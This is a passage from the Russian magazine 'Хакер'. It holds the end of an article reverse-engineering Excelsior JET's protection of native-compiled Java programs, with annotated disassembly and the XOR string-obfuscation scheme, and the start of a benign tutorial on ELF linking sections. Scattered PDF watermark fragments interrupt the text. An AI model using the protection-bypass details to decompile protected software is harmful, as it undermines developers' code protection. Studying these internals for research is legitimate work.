Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
12
Добавлен:
20.04.2024
Размер:
22.25 Mб
Скачать

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

ВЗЛОМ

 

wClick

to

 

 

 

 

o m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

 

 

p

df

 

 

 

 

e

 

 

 

-x

 

n

 

 

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

← НАЧАЛО СТАТЬИ w.

 

 

BUY

 

 

 

to

 

 

 

.co

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

p

df

 

c

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

ИЗУЧАЕМ ЗАЩИТУ EXCELSIOR JET ДЛЯ ПРОГРАММ НА JAVA

Судя по всему, в ней содержатся не только описатели классов, но еще и множество других элементов, назначение которых ты можешь при желании выяснить самостоятельно. Нас же пока интересуют ее элементы, начиная с номера, выделенного на рисунке синим цветом. Однако и эти элементы вовсе не обязательно описатели классов, надо внимательно смотреть на флажки в заголовке структуры.

Теперь вернемся к инициализации «структуры-40». Записи «структуры-40» хоть в исходном коде и не инициализированы, однако расположены по вполне фиксированным адресам, на которые можно ставить бряки. Для примера берем первый же адрес 9F2E060 из одной такой процедуры. По остановке в данной точке мы получаем процедуру, инициализирующую «структуры-40» для каждого метода заданного класса. Насколько я понимаю, это происходит каждый раз при создании объекта. В упрощенном виде эта процедура выглядит примерно так (интересные места я выделил комментариями):

sub_936500

proc near

 

 

 

 

...

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

loc_936576:

 

 

 

;

Цикл по всем элементам

таблицы методов

класса

 

 

 

 

 

...

 

 

 

 

 

mov

[r11], r9

;

Место, на котором

срабатывает breakpoint,

R9-адрес текущего

описателя класса — по

смещению 0 «структуры-40»

 

 

 

 

...

 

 

 

 

 

mov

ebp,

[r9+0B0h]

;

Относительный адрес

таблицы методов

находится по

смещению B0h

внутри описателя класса

 

test

ebp,

ebp

 

 

 

jz

short loc_93673D

 

 

 

movsxd

rbp,

ebp

 

 

 

and

rbp,

rax

 

 

 

mov

rsi,

[r9+30h]

;

По смещению 30h внутри

описателя класса — указатель

на «структуру CDES»

 

mov

rsi,

[rsi+58h]

;

По смещению 58h внутри

«структуры CDES» — базовый адрес исполняемого модуля 400000h, на

рисунке «Структура CDES» выделен оранжевым

add

 

rbp, rsi

; Абсолютный адрес

таблицы методов класса в RBP

 

 

jmp

 

short loc_93673F

 

 

; --------------------------------------

 

 

 

 

 

 

loc_93673D:

 

 

; CODE XREF:

sub_936500+228↑j

 

 

 

 

xor

 

ebp, ebp

 

 

 

 

 

 

loc_93673F:

 

 

; CODE XREF:

sub_936500+23B↑j

 

 

 

 

test

 

rbp, rbp

 

 

jz

 

short loc_936764

 

 

mov

 

ebx, [rbp+rbx*4+0]

; RBP[RBX] —

относительный адрес

текущего метода

 

 

test

 

ebx, ebx

 

 

jz

 

short loc_93675F

 

 

movsxd

rbx, ebx

 

 

mov

 

r9, [r9+30h]

 

; По смещению 30h

внутри описателя класса

— указатель на «структуру CDES»

and

 

rbx, rax

 

 

mov

 

r9, [r9+58h]

 

; По смещению 58h

внутри «структуры CDES»

— базовый адрес исполняемого модуля

400000h, на рисунке

«Структура CDES» выделен оранжевым

add

 

r9, rbx

 

; Абсолютный адрес

текущего в R9

 

 

 

 

...

 

 

 

 

mov

 

[rdx+r10+18h], r9

; Адрес метода по

смещению 18h «структуры-40»

 

 

...

 

 

 

 

jnz

 

loc_936576

 

; Перейти к обработке

следующего метода класса и следующего блока «структуры-40»

Разумеется, описанная процедура значительно сложнее и выполняет множество других функций, но на данный момент мы ищем вполне определенные фичи, и, похоже, мы их нашли. Резюмируя, попробуем для наглядности нарисовать примерную схему описателя класса.

Описатель класса

На этом рисунке оранжевым обозначен тип блока (описатель класса — 3 или 4), красным — имя класса и смещение на него относительно начала описателя, зеленым — указатель на таблицу описателей классов, синим — таблица методов класса и смещение на нее относительно базового адреса.

Ко всему прочему мы выяснили еще один интересный факт. Несмотря на то что нативное приложение 64-битное, адреса методов внутри описателя классов — 32-битные смещения относительно базового адреса модуля. На самом деле, если внимательно присмотреться, мы найдем в описателе класса таблицу с прямыми длинными ссылками (как я понимаю, на методы из внешних классов), но нам она в данный момент не нужна.

Не знаю, как создатели приложения выкручиваются в случае с большими исполняемыми модулями, не адресуемыми 32 битами. Возможно, они имеют несколько секций и «структур CDES». Мне, во всяком случае, таковые не попадались, поэтому вернемся к нашим баранам, то бишь к жабам ;)

Мы разобрали, какие классы скомпилированы в нативный код приложения и какие методы соответствуют каждому классу. Но хотелось бы знать имена этих методов. Ведь я уже упоминал в начале статьи, что приложение при возникновении исключения легко показывает стек вызовов с полными названиями классов, методов, с именами исходных файлов и даже с номерами строк. Последние, конечно, нам не особо нужны, но имена методов знать бы хотелось.

Направление, в котором следует копать в данном случае, очевидно: если обработчик исключений знает имена классов — спросим его об этом! Поскольку мы теперь знаем адреса методов каждого класса, тупо ставим бряки на всякий случай на все методы класса. Ну, например, на Throwable, а еще

лучше на StackTrace.

Поискав в памяти загруженного модуля, мы находим такой класс — его полное имя com/excelsior/jet/runtime/excepts/stacktrace/StackTrace.

Методов у этого класса немного, порядка двадцати, поэтому, просто установив точки останова на каждый из них, получаем срабатывание по адресу

D193C0.

Указанный метод по адресу возврата определяет имя метода, из которого был выполнен вызов, имя исходного Java-файла, содержащего этот метод, и номер строки. Забегая вперед, скажу, что его полное имя com/excelsior/

jet/runtime/excepts/stacktrace/StackTrace/a, и, к сожалению, код перед целевой компиляцией обфусцируется. Схематически он выглядит вот так:

sub_D193C0

proc near

; На входе в RDX — адрес

возврата со стека почему-то минус 1, то есть адрес байта,

предшествующего

адресу возврата из call

 

 

...

 

 

 

 

mov

rcx, [rax+30h] ; RCX

<- Адрес CDES

 

mov

r9, [rcx+0E8h] ; CDES[E8h] — таблица имен

методов по адресам, на рисунке «Структура CDES» выделена

фиолетовым

 

 

 

 

 

test

r9, r9

 

 

 

jz

loc_D19667

 

 

 

mov

r10d, [r9]

 

 

 

test

r10d, r10d

 

 

 

jz

loc_D19667

 

 

 

test

rdx, rdx

 

 

 

jz

short loc_D19411

 

 

mov

r10, [rcx+58h] ; Базовый адрес

исполняемого модуля

 

 

 

 

sub

rdx, r10

; RDX <- относительный

адрес возврата

 

 

 

 

 

...

 

 

 

 

call

sub_D1A100 ; Эта процедура ищет в таблице

имен методов по

адресам

относительный адрес RDX, то есть участок

кода, внутри которого он находится

 

 

 

test

rax, rax

; На выходе в RAX — абсолютный

адрес найденного элемента таблицы имен методов по адресам,

содержащего адрес возврата

 

 

 

jz

loc_D19662

 

 

 

mov

ecx, 0FFFFFFFFh

 

 

mov

edx, [rax+8] ; 32-битное слово по

смещению 8 в найденном элементе — относительный адрес структуры

описания метода

 

test

edx, edx

 

 

jz

short loc_D1944D

 

movsxd

rdx, edx

 

 

and

rdx, rcx

 

 

mov

r8, [rsi+58h]

; Базовый адрес

исполняемого модуля

 

 

 

add

rdx, r8

; Получаем абсолютный

адрес структуры

описания метода

 

 

jmp

short loc_D1944F

; --------------------------------------

 

 

 

 

loc_D1944D:

 

 

; CODE XREF:

sub_D193C0+7C↑j

 

 

 

 

xor

edx, edx

 

 

 

 

 

loc_D1944F:

 

 

; CODE XREF:

sub_D193C0+8B↑j

 

 

 

 

mov

eax, [rax]

; 32-битное слово по

смещению 0 найденного элемента таблицы — стартовый адрес метода

sub

ebx, eax

; Смещение от начала

метода до адреса возврата

 

mov

r8, rcx

 

mov

rcx, rdx

 

mov

edx, ebx

 

mov

r12, rcx

 

mov

r13, r8

 

call

sub_D1A000

; Методом половинного

деления ищем в структуре описания метода номер строки по

относительному смещению

адреса возврата

 

,,,

 

 

 

 

 

mov

ecx, [rax+4]

; Номер строки исходного

Java-файла

 

 

mov

edx, [r12+4]

; Индекс зашифрованной

строки имени метода

 

 

mov

eax, [r12+8]

; Индекс зашифрованной

строки имени исходного Java-файла, содержащего метод

...

retn

sub_D193C0 endp

Надеюсь, к настоящему моменту я тебя не слишком напугал обилием новых структур с собственными именами? Как ты, вероятно, заметил, приведенный выше кусок кода содержит целых три новых термина: таблица имен методов по адресам, структура описания метода и индекс зашифрованной строки. Остановимся на каждом из них подробнее.

Чтобы при возникновении ошибки отследить метод и строку вызова, Excelsior Jet хранит упорядоченные таблицы соответствия адрес — метод, и для каждого метода существует таблица «адрес — строка». Таблица соответствия имен методов по адресам, как ты уже догадался, абсолютно адресуется из «структуры CDES» 64-битным адресом по смещению E8h. На рисунке «Структура CDES» она выделена фиолетовым. Структура у нее совершенно прозрачная, она показана на следующей иллюстрации.

Таблица соответствия имен методов по адресам

Первое 32-битное слово (выделено красным) — количество элементов в таблице. Каждый элемент занимает 12 байт (первые два элемента выделены фиолетовым) и соответствует одному скомпилированному методу. Первое 32битное слово элемента (выделено желтым) — относительный адрес точки входа метода. Последнее 32-битное слово (выделено голубым) — относительный адрес структуры описания метода.

Как видно, здесь применен такой же мухлеж с 32-битной адресацией кода и данных внутри 64-битного приложения: вместо нормальных 64-битных адресов используются 32-битные смещения относительно базы модуля, хранящегося в «структуре CDES».

Вернемся ко второй найденной структуре — структуре описания метода, которую я так назвал из-за скудности собственной фантазии. Она не слишком отличается от таблицы имен методов по адресам и тоже представляет собой упорядоченную таблицу c размером в начале (выделено красным) и 12-бай- товым элементом (первый элемент выделен фиолетовым).

Структура описания метода

Отличие от предыдущей таблицы состоит в том, что в самом начале структуры описания метода идут три 32-битных слова. Первое из них (на рисунке обведено оранжевым) — индекс класса, содержащего метод в таблице описателей классов. Второе (обведено синим) — индекс зашифрованного имени метода, а третье (обведено зеленым) — индекс зашифрованного имени исходного

Java-файла.

Записи устроены следующим образом. Первый 32-битный элемент — смещение кода, в который компилируется Java-строка относительно начала метода, второй — номер строки в исходном Java-файле, а третий, судя по всему, не задействован вообще, поскольку я не видел его ненулевых значений. Поскольку обе описанные структуры представляют собой упорядоченные массивы (по сути, упорядоченные словари), любое место кода быстро и однозначно идентифицируется по ним методом дихотомии.

Таким образом, можно значительно облегчить реверс скомпилированных приложений, просто пробежавшись по этим двум структурам и расставив в коде метки соответствия классам, методам и строкам. Предоставляю тебе самостоятельно заняться написанием подобных скриптов или плагинов, а нам осталось разобраться, что означает индекс зашифрованной строки из комментария к предыдущему фрагменту кода.

Как я уже говорил, из-за паранойи разработчиков в Excelsior Jet, помимо имен классов, шифруются вообще все-все-все текстовые строки, причем одним и тем же алгоритмом — тупым XOR с хранящимся в «структуре CDES» байтом-шифровальщиком (у нас это F9h). Но если имена классов стоят на своих местах в соответствующих структурах описания класса, то почти все остальные строки собраны в одном зашифрованном блоке, на который указывает абсолютный адрес по смещению C8h в «структуре CDES» (на рисунке «Структура CDES» выделено зеленым). Таким образом, упомянутые выше индексы представляют собой смещения относительно начала этого блока. Здесь я снова обращу твое внимание: создатели компилятора явно делают допущение, что в любом 64-битном приложении размер этого блока будет адресоваться 32 битами.

И в заключение для тех, кого эта немного сумбурная статья вдохновила написать более дружественный к пользователю декомпилятор, скрипт или плагин к отладчику, вернемся к вопросу поиска и локализации основных структур данных, упомянутых в статье. Как я уже говорил, основная «структура CDES», из которой идут ссылки на главные структуры, блоки и таблицы, инициализируется после запуска программы. То есть в уже запущенной программе все эти адреса посмотреть можно, но из дизассемблера придется искать. Попробуем это сделать. Инициализируется эта структура в самое начало секции _bss, при помощи IDA мы легко находим код инициализации:

sub_743B80

proc near

; CODE XREF:

 

sub_743FA0+25↓p

 

 

 

 

 

mov

dword ptr [rcx], 53454443h

;

Сигнатура CDES

 

 

 

 

 

...

 

 

 

 

lea

rax, unk_9E31718

;

Hardcoded-адрес

таблицы

описателей классов

 

 

mov

[rcx+0C0h],

rax

 

 

lea

rax, unk_14F3F6F4

;

Hardcoded-адрес

блока зашифрованных

строк

 

 

mov

[rcx+0C8h],

rax

 

 

lea

rax, unk_15718A54

 

 

mov

[rcx+0D0h],

rax

 

 

lea

rax, unk_9ED8428

 

 

mov

[rcx+0E0h],

rax

 

 

lea

rax, aExfs

; "EXFS\a"

 

 

mov

[rcx+0D8h],

rax

 

 

lea

rax, unk_1571F50C

 

 

mov

[rcx+0E8h],

rax

;

Hardcoded-адрес

таблицы

имен методов по адресам

 

Стратегия поиска такова: ищем в коде адрес присваивания сигнатуры 53454443h и, начиная с этого места, по маскам команд и смещений извлекаем нужные адреса. Идея весьма скользкая, поскольку в каждой новой версии компилятора авторы могут менять этот инициализационный код, из-за чего нам придется перерабатывать алгоритм, но как рабочий вариант такой подход сгодится.

Ты, наверное, заметил, что байт-шифровальщик F9h тоже не инициализируется в этой процедуре, он берется из другой странной структуры, находящейся в самом начале секции _config с сигнатурой CPB.

Структура

Как видишь, смещение этого байта в структуре равно 1Ch. Последний кусочек пазла встал на место, и остается только пожелать удачи энтузиастам реверса этого хитрого компилятора.

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

ВЗЛОМ

 

wClick

to

 

 

 

o m

 

c

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

РАЗБИРАЕМ УСТРОЙСТВО ELF-ФАЙЛОВ

В ПОДРОБНОСТЯХ

Исполняемые файлы в ОС семейства Linux имеют довольно сложную структуру. Важный аспект в работе таких приложений — взаимодействие с внешними библиотеками и вызываемыми из них функциями. Сегодня мы поговорим о том, как обеспечивается такое взаимодействие и каким образом исполняемый файл может быть связан с библиотеками.

Евгений Дроботун

Постоянный автор «Хакера»

Это продолжение статьи «Анатомия эльфов. Разбираемся с внутренним устройством ELF-фай- лов», в которой мы начали изучать секреты фор- мата исполняемых ELF-файлов. В ней мы определились с инструментарием анализа, создали несколько подопытных экземпляров ELF-файлов, разобрались с форматом заголовка ELF-файла, узнали про таблицы заголовков секций и сегментов, а также заглянули внутрь некоторых секций и сегментов.

ВИДЫ СВЯЗЫВАНИЯ

Основная проблема, возникающая при компоновке исполняемого файла, — определение адресов вызываемых в программе функций, расположенных во внешних библиотеках. Если для функций, которые определены в самом исполняемом файле, такой проблемы не наблюдается (адреса этих функций определяются уже на этапе компиляции), то внешние библиотеки могут находиться в памяти по большому счету где угодно. Это получается благодаря возможности формировать позиционно независимый код. С ходу, на этапе компиляции, определить адрес той или иной функции, содержащейся в такой библиотеке, невозможно. Это можно сделать либо статически (включив нужные библиотеки непосредственно в ELF-файл), либо динамически (во время загрузки или выполнения программы).

Исходя из этого, можно выделить три вида связывания исполняемого ELFфайла с библиотеками:

статическое связывание;

динамическое связывание во время загрузки файла;

динамическое связывание во время исполнения файла.

Если обратиться к миру Windows, то там наблюдается примерно такая же картина и основные принципы функционирования этих видов связывания с внешними библиотеками аналогичны.

Для статически линкуемых библиотек используется расширение .a (в Windows это файлы с расширением .lib), для динамических — расширение .so (в Windows это файлы .dll).

Статическое связывание

Здесь все достаточно просто. Внешняя библиотека линкуется с исполняемым файлом, образуя с ним единое целое. Если обратиться к примеру из предыдущей статьи (файл с хелловорлдом example.c), то для того, чтобы сделать из него программу, статически связанную с библиотекой glibc, нужно набрать в консоли следующее:

gcc -o example_static_linked -static example.c

В итоге получим исполняемый файл со статически прилинкованной к нему библиотекой glibc. Если ты обратишь внимание на размер полученного файла, то увидишь, что он существенно больше, чем размер файлов example_pie и example_no_pie, которые были скомпилированы методом динамической линковки с библиотекой glibc. У меня, например, получилось целых 872 Кбайт для статической линковки, в то время как динамическая дала всего 17.

Собственно говоря, это и есть основной недостаток статического связывания. Несмотря на то что из glibc мы используем всего одну функцию puts(), при статическом связывании приходится тащить в исполняемый файл еще много чего ненужного. Также можно отметить еще один, не совсем явный недостаток статической линковки: если появляется новая версия библиотеки (в которой, например, устранена та или иная уязвимость), то нам придется перекомпилировать программу уже с новой версией нужной нам библиотеки. Если этого не делать, то наша программа будет пользоваться функциями, в которых уязвимость не устранена.

Посмотреть тип связывания в исполняемом файле можно, применив утилиту le или ldd.

Определяем тип связывания в ELF-файле (в данном случае видим, что применена статическая линковка)

Обрати внимание, что для примера example_static из предыдущей статьи утилита le покажет динамическую линковку. Все дело в том, что в этом случае мы статически линковали с программой нашу самописную библиотеку lib_static_example.a, в которой содержится функция hello_world_function(). Однако в этой функции используется функция puts(), которая берется из библиотеки glibc, связанной с lib_static_example.a уже динамически.

Динамическое связывание во время загрузки файла

Как мы уже говорили, благодаря позиционно независимому коду динамические (или разделяемые) библиотеки могут быть загружены в память один раз, а все нуждающиеся в этой библиотеке программы станут пользоваться этой разделяемой копией библиотеки. На этапе компоновки исполняемого файла адреса, по которым будут загружены динамические библиотеки, неизвестны,

ипоэтому адреса содержащихся в них функций определить невозможно.

Вэтом случае динамический компоновщик (если помнишь, то путь к нему лежит в секции .interp) определяет адреса нужных функций и переменных

в ходе загрузки программы в память. Если говорить точнее, во многих случаях даже не в ходе загрузки, а во время первого обращения к функции, но об этом более подробно поговорим чуть ниже.

Динамическое связывание во время исполнения файла

Разделяемые библиотеки могут быть загружены в память и во время выполнения программы. В этом случае приложение обращается к динамическому линковщику с просьбой загрузить и прилинковать динамическую библиотеку. В Linux для этого предусмотрены системные функции dlopen(), dlsym() и dlclose(), первая загружает разделяемую библиотеку, вторая ищет в ней нужную функцию, третья закрывает ее файл.

Если покопаться во внутренностях Windows, там можно обнаружить ана-

логичные API-функции: LoadLibrary() и GetProcAddress() (либо

LdrLoadDll() и LdrGetProcAddress()).

Этот вид связывания (как в Linux, так и в Windows) используется достаточно редко, во многих случаях его применяют для того, чтобы скрыть от исследователей истинную функциональность программы.

ПРОДОЛЖАЕМ РАЗБИРАТЬСЯ С СЕКЦИОННЫМ ПРЕДСТАВЛЕНИЕМ ELF-ФАЙЛА

В предыдущей статье мы рассмотрели несколько секций, которые может содержать ELF-файл, однако изучили мы их далеко не все. Сегодня мы продолжим исследовать этот вопрос и посмотрим в том числе, какие секции в ELF-файле предусмотрены для организации связывания и разрешения адресов функций, которые содержатся в разделяемых библиотеках.

Секция .shstrtab

Эта секция представляет собой массив строк, заканчивающихся нулем, с именами всех секций ELF-файла. Указанная таблица позволяет различным утилитам (например, таким, как readelf) находить имена секций. Для просмотра этой секции в символьном или шестнадцатеричном виде можно использовать опции -p или -x утилиты readelf соответственно. Например, вот так:

readelf -x .shstrtab example_pie

Секция .shstrtab в шестнадцатеричном представлении

Символьные секции

Как можно догадаться по названию, символьные секции хранят какие-то символы. В нашем случае под символами понимаются имена функций и переменных. Эти имена используются в качестве символьных имен для представления определенного местоположения в файле или в памяти. Все это вместе и образует то, что мы называем символами функций и данных. (Да, мы привыкли считать, что символ, как правило, занимает одно знакоместо в виде буквы, цифры или знака препинания, однако здесь это не так.)

Чтобы посмотреть информацию о символах, можно воспользоваться уже знакомой нам утилитой readelf и набрать в консоли что-нибудь вроде этого:

readelf -s -W example_pie

На выходе увидим содержимое двух секций — .symtab и .dynsym.

Вывод символьной информации из ELF-файла

Секция .symtab

Для начала необходимо отметить, что наличие этой секции в ELF-файле необязательно. Более того, в большинстве встречающихся в дикой природе файлов она отсутствует. Основное ее назначение — помощь при отладке программы, в то время как для исполнения файла она не требуется. По умолчанию эта секция создается во время компиляции программы, однако ее можно удалить с помощью команды strip, например так:

strip example_pie

Теперь, если попытаться посмотреть символьную информацию в этом файле, будет выведено только содержимое секции .dynsym.

Вывод символьной информации из ELF-файла, на который воздействовали утилитой strip

Все же, хоть эта секция и необязательна в файле, остановимся на ней чуть подробнее.

Каждая запись этой секции представляет собой структуру вида Elf32_Sym или Elf64_Sym. Внутреннее устройство этой структуры (как, впрочем, и содержимое всех остальных структур и значений констант ELF-файлов) можно пос-

мотреть в файле /usr/include/elf.h.

В указанной секции содержатся все символы, которые компоновщик использует как во время компиляции, так и во время выполнения приложения. В нашем примере example_pie среди всего, что содержится в данной секции, можно увидеть символьное имя знакомой нам функции main(), которая присутствует в любой программе, а также символьное имя функции puts().

Функции main() и puts() в секции .symtab

Функции main() соответствует адрес 0x1149, и именно с этого адреса функция будет начинаться после загрузки файла в память перед выполнением. Также видно, что размер функции main() составляет 27 байт, ее тип — FUNC (то есть функция), а сама функция размещается в секции с номером 16 (это секция .text, в которой находится непосредственно исполняемый код программы).

С функцией puts() такой определенности не отмечается: нет ни адреса, ни секции. Так происходит потому, что функция puts() находится в библиотеке glibc и, как мы уже говорили, адрес этой функции на этапе компиляции определить нельзя.

Содержимое секции .symtab также можно посмотреть и с помощью команды nm. Чтобы узнать подробности использования этой команды, набери в терминале

nm man

Если мы попробуем посмотреть содержимое секции .symtab ELF-файла, в котором применено статическое связывание, то увидим, что, помимо уже знакомых нам символов функций main() и puts(), в секции присутствует большое количество символов других функций, входящих в состав библиотеки glibc.

Функции main() и puts() в секции .symtab в ELF-файле со статической компоновкой

На рисунке мы видим, что у функции main() признак связывания (который содержится в поле st_info структуры Elf32_Sym или Elf64_Sym) имеет значение STB_GLOBAL, а функция puts() — значение STB_WEAK. Значение признака связывания символа, равное STB_WEAK, говорит о том, что данный символ имеет самый низкий приоритет при связывании (так называемый слабый символ). Символы с другими признаками связывания, например STB_LOCAL или STB_GLOBAL, имеют более высокий приоритет (их называют сильными символами).

При связывании нескольких библиотек в ходе компоновки одного ELF-фай- ла в нескольких библиотеках может оказаться определена функция с одинаковым именем (то есть символы этой функции в двух или более библиотеках будут совпадать). В этом случае компоновщик должен выбрать одну из этих функций. Когда есть одна функция с сильными символами и одна или несколько функций со слабыми символами, будет выбрана функция с сильными символами. Если имеется несколько одинаковых функций со слабыми символами, компоновщик выберет случайным образом. Если же в ходе компоновки обнаружится две или более одинаковые функции с сильными символами, то компоновка прервется и будет констатирована ошибка.

В данном случае в библиотеке glibc символы многих стандартных функций определены с низким приоритетом (слабые символы). Это делается для того, чтобы дать возможность программистам написать собственную библиотеку с переопределением некоторых стандартных функций (и, соответственно,

сопределением символов этих переопределенных функций как сильных). Затем они смогут использовать вместе и библиотеку glibc, и свою библиотеку

спереопределенными функциями. При этом, поскольку у переопределенных функций символы имеют более высокий приоритет, будут вызываться именно они, а не те, которые определены в glibc. Более подробно про сильные и слабые символы можно почитать в документации.

Секция .dynsym

Записи в данной секции имеют такую же структуру, что и в секции .symtab. Главное отличие в том, что в этой секции содержатся только символы функций или переменных, которые необходимы для динамической компоновки. На эту секцию команда strip никакого влияния не оказывает (что, в общем-то, понятно). Секция .dynsym имеется в тех файлах, где используется динамическое связывание во время загрузки ELF-файла. Соответственно, если попытаться посмотреть наличие этой секции в файле со статической линковкой, то мы ее там не увидим.

Если внимательно изучить секции .symtab и .dynsym, можно заметить, что в секцию .dynsym из секции .symtab перекочевали символы c нулевыми адресами и неопределенными номерами секций. Значения этих адресов и номеров секций как раз и будут определены во время загрузки программы.

Секция .symtab имеет тип SHT_SYMTAB, а секция .dynsym — тип SHT_DYNSYM. Собственно, данный факт и позволяет утилите strip разобраться, что можно зачистить в ELF-файле, а что нельзя.

Секции .strtab и .dynstr

Указанные секции содержат непосредственно строковые значения символов, на которые указывает значение st_name из структуры Elf32_Sym или Elf64_Sym. Они, как было показано выше, являются элементами секций . symtab или .dynsym. То есть в секциях .symtab и .dynsym непосредственно самих строковых значений символов не содержится, а присутствует только индекс, по которому и находится нужное строковое значение символа в секциях .strtab или .dynstr (этот индекс как раз и лежит в поле st_name струк-

туры Elf32_Sym или Elf64_Sym).

Посмотреть содержимое этих секций, так же как и для секции .shstrtab, можно с использованием опций -x или -p утилиты readelf.

Вывод содержимого секций .dynstr и .strtab из ELF-файла в шестнадцатеричном и строковом виде

Более подробно про символьные секции ELF-файлов можно почитать в документации Oracle.

ДИНАМИЧЕСКОЕ СВЯЗЫВАНИЕ И СЕКЦИИ .PLT И .GOT

При динамическом связывании во время загрузки в большинстве случаев разрешение находящихся в разделяемых библиотеках адресов функций происходит чуть позже, не в сам момент запуска приложения, а во время первого обращения к неразрешенному адресу при вызове необходимой функции. Таким образом реализуется так называемое позднее (или отложенное) связывание.

Для чего это нужно? Позднее связывание позволяет не тратить без необходимости время на разрешение адресов при запуске программы. Для ее функционирования может потребоваться много функций из разделяемых библиотек, и определять их адреса именно тогда, когда это действительно необходимо, — вполне рациональное решение. В операционных системах семейства Linux режим позднего связывания реализуется динамическим компоновщиком по умолчанию. Можно заставить динамический компоновщик производить разрешение адресов функций из разделяемых библиотек непосредственно во время загрузки программы, задав переменную среды LD_BIND_NOW:

export LD_BIND_NOW=1

Повторюсь, необходимость использовать режим немедленного связывания возникает крайне редко, разве что если требуется обеспечить гарантированную производительность в системах с режимами, близкими к режимам реального времени.

Для начала рассмотрим базовый принцип позднего связывания в ELF-фай- лах, который был реализован изначально. После чего поговорим о том, какие изменения были внесены в этот базовый принцип, когда появились новые технологии защиты программ от атак.

Для большей наглядности немного изменим наш «хелловорлд» и добавим в него еще одну функцию (например, exit()):

#include <stdio.h>

#include <stdlib.h>

void main(int argc, char* argv[])

{

printf("Hello world\n");

exit(0);

}

Чтобы получить ELF-файл с базовым принципом позднего связывания, откомпилируем данный пример c использованием опции -fcf- protection=none. Эта опция показывает компилятору, что нужно собрать программу без использования защитной технологии IBT (indirect branch tracking):

gcc -o example_exit_notrack -fcf-protection=none example_exit.c

Об опциях gcc можно почитать в документации.

Итак, в базовом варианте в ELF-файлах позднее связывание реализуется

спомощью двух специальных секций:

.plt — таблица связей и процедур (Procedure Linkage Table);

.got — таблица глобальных смещений (Global O set Table).

Секция .got

Начнем с секции .got. Для начала обратим внимание, что эта секция имеет тип SHT_PROGBITS (то есть содержит либо код, либо данные, и в нашем случае это данные), а также флаг SHF_WRITE (то есть ее содержимое может меняться в ходе выполнения программы).

Первый элемент этой секции — адрес динамического раздела, содержимое которого, как мы уже говорили, составляет секция .dynamic (о ней мы поговорим чуть позже). Далее идет место для хранения адреса структуры link_map (ее содержимое можно посмотреть в файле /usr/include/link.h) и место для хранения адреса функции _dl_runtime_resolve() (эта функция из состава динамического загрузчика, с помощью которой он и определяет адрес нужной нам функции из той или иной разделяемой библиотеки).

Первые три элемента секции .got

Места для хранения адресов link_map и _dl_runtime_resolve() заполняются реальными значениями при запуске программы.

Далее в .got идут места хранения адресов вызываемых функций (в нашем случае это функции puts() и exit()). Если внимательно на них посмотреть (при этом не забывая про обратный порядок следования байтов), мы увидим, что первоначальные значения этих адресов ведут куда-то в область секции . plt, а не в область, где может быть загружена нужная нам библиотека glibc. Это, в общем-то, и есть ключевой момент динамического разрешения адресов. Он заключается в том, что в нужное время в таблицу глобальных смещений запишутся требуемые нам адреса функций из разделяемых библиотек. За это как раз и отвечает динамический загрузчик и таблица связей и процедур

.plt.

Секция .plt

Первое, что бросается в глаза при изучении данной секции, — в отличие от секции .got, секция .plt имеет флаг SHF_EXECINSTR. То есть ее содержимое может быть выполнено, при этом секция предназначена только для чтения.

Каждый элемент в .plt — это кусочек исполняемого кода. Первый из этих элементов общий и выполняется при вызове всех функций. Каждый из последующих элементов относится к какой-либо одной функции из разделяемой библиотеки. Функция не вызывается непосредственно из библиотеки — сначала выполняется соответствующий элемент .plt, который уже затем вызывает саму функцию (такой подход обычно называют трамплином).

Каждому элементу таблицы .plt соответствует один из элементов таблицы

.got, который должен содержать реальный адрес вызываемой функции. Но мы видим, что в таблице .got лежат не совсем те адреса, что нам требуются. Как же в нужный момент там окажутся реальные адреса вызываемых функций?

Все очень просто: динамический загрузчик с помощью уже знакомой нам функции _dl_runtime_resolve() сам определит и запишет в нужное место адрес функции во время ее первого вызова (или же сразу при загрузке программы в память, если установлена переменная окружения LD_BIND_NOW).

Итак, для более полного погружения попробуем с помощью утилиты objdump дизассемблировать секцию .plt нашего файла:

objdump -M intel --section .plt -d example_exit_notrack

и проделать то же самое с секцией .text:

objdump -M intel --section .text -d example_exit_notrack

Продолжение статьи

 

 

 

hang

e

 

 

 

 

